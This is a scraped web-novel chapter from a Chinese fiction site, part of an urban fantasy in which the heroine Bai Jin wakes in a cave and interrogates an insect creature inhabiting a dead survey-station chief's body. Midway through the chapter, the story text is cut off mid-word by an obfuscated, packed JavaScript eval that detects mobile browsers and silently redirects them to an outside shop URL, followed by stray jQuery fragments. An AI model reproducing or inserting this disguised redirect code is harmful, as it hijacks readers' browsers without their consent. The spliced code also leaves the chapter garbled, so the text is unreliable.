文趣网 > 都市小说 > 学渣她又双叒挖坑了 > 60.对话
    白金整个人浮在一层半梦半醒的状态里。

    意识像是被泡在温水中的纸片,边缘在慢慢溶解,但底部的纤维还顽强地连在一起。

    但她求生意识太强了,始终不肯松开手。

    不知过了多久,周围的温度越来越热,她的呼吸也愈发苦难。

    然后她被热醒了。

    伴随着昏黄的火光而来的,是木柴燃烧时的噼里啪啦声,她睁着眼睛缓了几秒钟,意识才慢慢回笼。

    这时她注意到,自己正躺在一个火堆旁边。

    暖意从那个方向持续地辐射过来,让她的身体逐渐从僵硬状态中重新找回触感。

    她坐起来的时候感觉到胳膊还在发酸。

    环顾四周,这是一个密闭的山洞,形状很奇怪:球状圆顶,四壁是弧形的,像是被什么东西从内部掏空成一个完整的椭球体,地面也带着微微的弧度,整个空间像是一个巨大的、被挖空了的足球内部。

    四壁的颜色偏深,有些地方挂着细密的水珠,在火光下反射出细碎的光点。

    她的视线扫了一圈之后,落在火堆的对面。

    那里坐着一个人。

    微胖的体型,穿着一件旧夹克,领口已经磨得有些发白,整个人靠在一块稍微平整的石头旁边,正对着火光,眼睛半眯着,像是沉浸在暖意里,没有察觉到她已经醒了。

    白金盯着那张脸看了几秒,脑子里正在快速翻找。

    她在勘测站那段录像里见过这张脸!

    “刘国栋站长?”她开口,声音有些沙哑。

    对面的中年男人眉眼微微一沉,显然对白金的话有些出乎意料,他诧异地看着白金。

    “你认识我?”

    话刚说完,刘国栋就想到了什么,恍然自顾自地解释:“你一定是看到了勘测站里的视频。”

    白金看着对面那个人,目光维持在一个稳定的位置。

    她不知道对面是什么东西。

    刚蛋没在她身边,她无法借用生物气息来锁定对方的身份。

    白金审视着对方的每个举动,即使这个人救了她,但在经历过彭兴承之后,她已经不会再凭一张熟悉的脸来判断真实性了。

    “你们到底是谁?这种穷乡僻壤,早就被世界遗忘了,不会有游客。而且当前世界遇到天灾,估计四个区也没剩多少人了,大家都忙着活下去,更不会有人在意这种可有可无的地方,在这种情况下还能出来的……”他顿了一下,“你们是救援队?”

    白金沉默了一拍,然后说:“算是吧。”

    刘国栋点了点头,对这个答案没有太多质疑。

    “也对,作为地质勘测站的站长、V4级人才,官方确实不可能完全放弃我。”

    刘国栋的视线重新落回火堆上,沉默着,眼眶边缘开始泛出湿润的光泽。

    “你们来得太迟了。”他说,“一切都太迟了。”

    白金面无表情地看着对面那个人。她甚至能感受到自己此刻的冷漠,但她知道,这不是她的问题,因为刚才在沼泽里,她命悬一线的时候,看到的明明是一根木棍,她最后抓住的,也是一根木棍,为什么她睁眼之后,看到的就是一个人?

    面前的这个,到底是个人,还是别的什么东西?

    白金开口继续说道:“你说我们来得太迟,是因为已经无人生还了?”

    刘国栋好像根本没想骗白金,耿直的点点头。

    白金的手轻轻抚上黑色耳钉,她只要轻轻一点,那把锋利的堪称最强杀器的铁锹就会出现在她手上。

    她看着对面那个人:“所以你是什么东西?”

    刘国栋呼吸倏然停滞,他凝望着白金足有三十秒,然后才缓缓开口说道:“我以为你已经知道了。”

    “你是长杆?”

    刘国栋站起来,微微侧身,一只手贴在胸前,朝白金的方向做了一个幅度不大但完整的绅士礼。

    “正是在下。”

    白金靠在身后的石壁上,火堆在她和“刘国栋”之间的地面上翻涌着,把两个人的影子拉向相反的方向。

    她心里五味杂陈:好消息是,这群虫子虽然是把她弄来的罪魁祸首,但不会让她死;坏消息是,它们要用她的身体孵蛋!

    她愠怒地开口质问:“既然你也是竹节虫,那你应该和白条儿他们一样,复制了刘国栋站长的思维,然后用他的身体按照他的方式去做事吧,所以……”她停顿了一下,“用活人的身体孵蛋,是刘国栋站长原本的想法?”

    “不是。”长杆的回答比预想中快,“我在发现他的时候,他已经是一具泡在水里的尸体了。”他顿了顿,“但我读取他的脑波时,发现他有一个念头:他想让所有人都有未来。”

    白金的喉间动了一下。

    又是一个被虫子占据身体的可怜人!

    又是一个“想让所有人都活下来”的愿望!

    她在心里把这句话翻来覆去地碾了一遍,然后莫名地生出了一股烦躁。

    一个两个的,如果都自私一点,是不是就不会有这么多波折了?

    就如同当年的白昌伟,如果没有拯救人类的伟大梦想,是不是也不会死?

    “刘国栋是什么时候死的?”她问,“应该在带村民躲灾之前吧?”

    她之所以会这么问,是因为她刚刚意识到了一件事:白条儿说王卫国的愿望是让所有村民“活下去”,但长杆刚才说的是刘国栋想让所有人“有未来”。

    这两个愿望乍一听是同类项,但仔细拆开,边界不一样。

    “有未来”不一定等于“活着”,也有可能是站长想带着村民离开龙王村、离开这片被遗忘的土地,换一个能住人的地方。

    按照这个逻辑推下去,刘国栋死的时候,地球可能还没有偷停。他是在那之前就死了。

    长杆露出赞赏的目光,“你很聪明。我开始有点喜欢你了,你应该能创造出更高的价值!”

    白金连眼皮都没抬:“做你们的孵化池吗?”

    “你应该能孵出更好的孩子。”

    白金冰冷地看着长杆,满眼杀意。

    长杆却彻底放松下来,对白金释放的杀意毫不在乎。

    “刘站长是在一条地下河里溺毙的。他发现了一个了不起的东西,想把那个发现汇报给上级,用这个来换取带全体村民离开龙王村、移民柯斯新区的机会。”

    白金在心里把这条信息和之前的线索对了一下。

    刘国栋发现的东西,多半就是地听,V4级别的权

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709197|206704||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    限加上勘测站的设备,探测到地下异常生物波动并不是不可能的事,但他显然没有意识到那东西有多危险。

    “所以地下的那个东西杀了他?”白金问。

    “没办法。”长杆的声音很平,“他太聪明了,那位不喜欢太聪明的人,所以当我发现他的时候,他已经……”

    “死了。”白金接过了后半句,“然后你占据了他的身体,凭借虫子的敏锐性知道了地球会停转,所以才用刘国栋的身份带着村民躲进了地下?”

    长杆沉默了一下。

    “你真的很聪明,你的聪明千万不能被那位知道。”他重复了一遍那句话。

    白金没有接这个赞赏,而是换了另一个方向:“你们为什么不去实现宿主的遗愿?你和白条儿他们不是一个种族的吗?”

    长杆听到“白条儿”三个字的时候,身体微微绷了一下,那是一种下意识的排斥动作。

    “我们当然是一个种族,”长杆不屑,“但如果能选择的话,我不想和它们有亲缘关系。因为它们太蠢了。”

    火光在白金的侧脸上跳动着,把她的表情切割成明暗交替的碎片:“白条儿用复制的方式让村长他们的身体延续了下去,虽然方法不太对,但说它们蠢,不太合适吧?你又有多聪明呢?”

    “它们没见过真神,才会误把两脚兽当成了供奉的对象。而我……”它顿了一下,“我才是真正见过‘那位’的虫。”

    白金看着它,没有打断。

    “刘国栋”的眼睛眯着,在回忆那段刻骨铭心的记忆:“我原来只是一只没开智的虫子,一生的执念,不过是找一个合适的地方繁衍后代,混吃等死。直到有一天,我在寻找孵化地的时候,意外掉进了一道地裂。里面很暖和,我就顺着那个方向一路往下爬……”

    它停住了,就地跪了下来,露出极度虔诚的表情,好像在提及一件无与伦比尊贵的事情。

    “然后我看到了那双眼睛。”它的声音掺杂着近乎狂热的兴奋,“猩红色的,很大。隔着很远,但我能看到它在看着我。”

    白金皱了皱眉,忍不住打了个冷颤。

    长杆继续说下去:“我从那双眼睛里读懂了,所有生命的终点都是死亡,村民们的□□终将腐朽,但肉身是土壤!让幼虫在人类的身体里孵化,新生命就会继承人类的部分意识。每一代新孵化的虫子都会比上一代更像人,只要竹节虫一直繁衍下去,人类的意识就会通过它们的存在而得到某种形式的永生,这是我们对人类这种两脚兽给予的最高尊重。”

    它说完这段话之后,安静地看着白金,像是在等待她的反应。

    白金坐在火堆对面,花了大概几秒钟来消化这段话。

    白条儿保留的是过去的痕迹,长杆要创造的是未来的可能性。

    一个留在过去,一个走向未来。

    都在说自己在延续人类生命。

    “我觉得你好像有病。”白金开口,语气不善:“你只是在找个孵化器而已。有必要把自己的行为拔到那么高的高度吗?”

    她往前倾了倾身,火光把她下颌线的轮廓照得更清晰了一些:“如果真像你说的,你在创造的是结合人类灵魂的智者虫,你那么尊重人类,那我能拒绝成为你的孵化池吗?”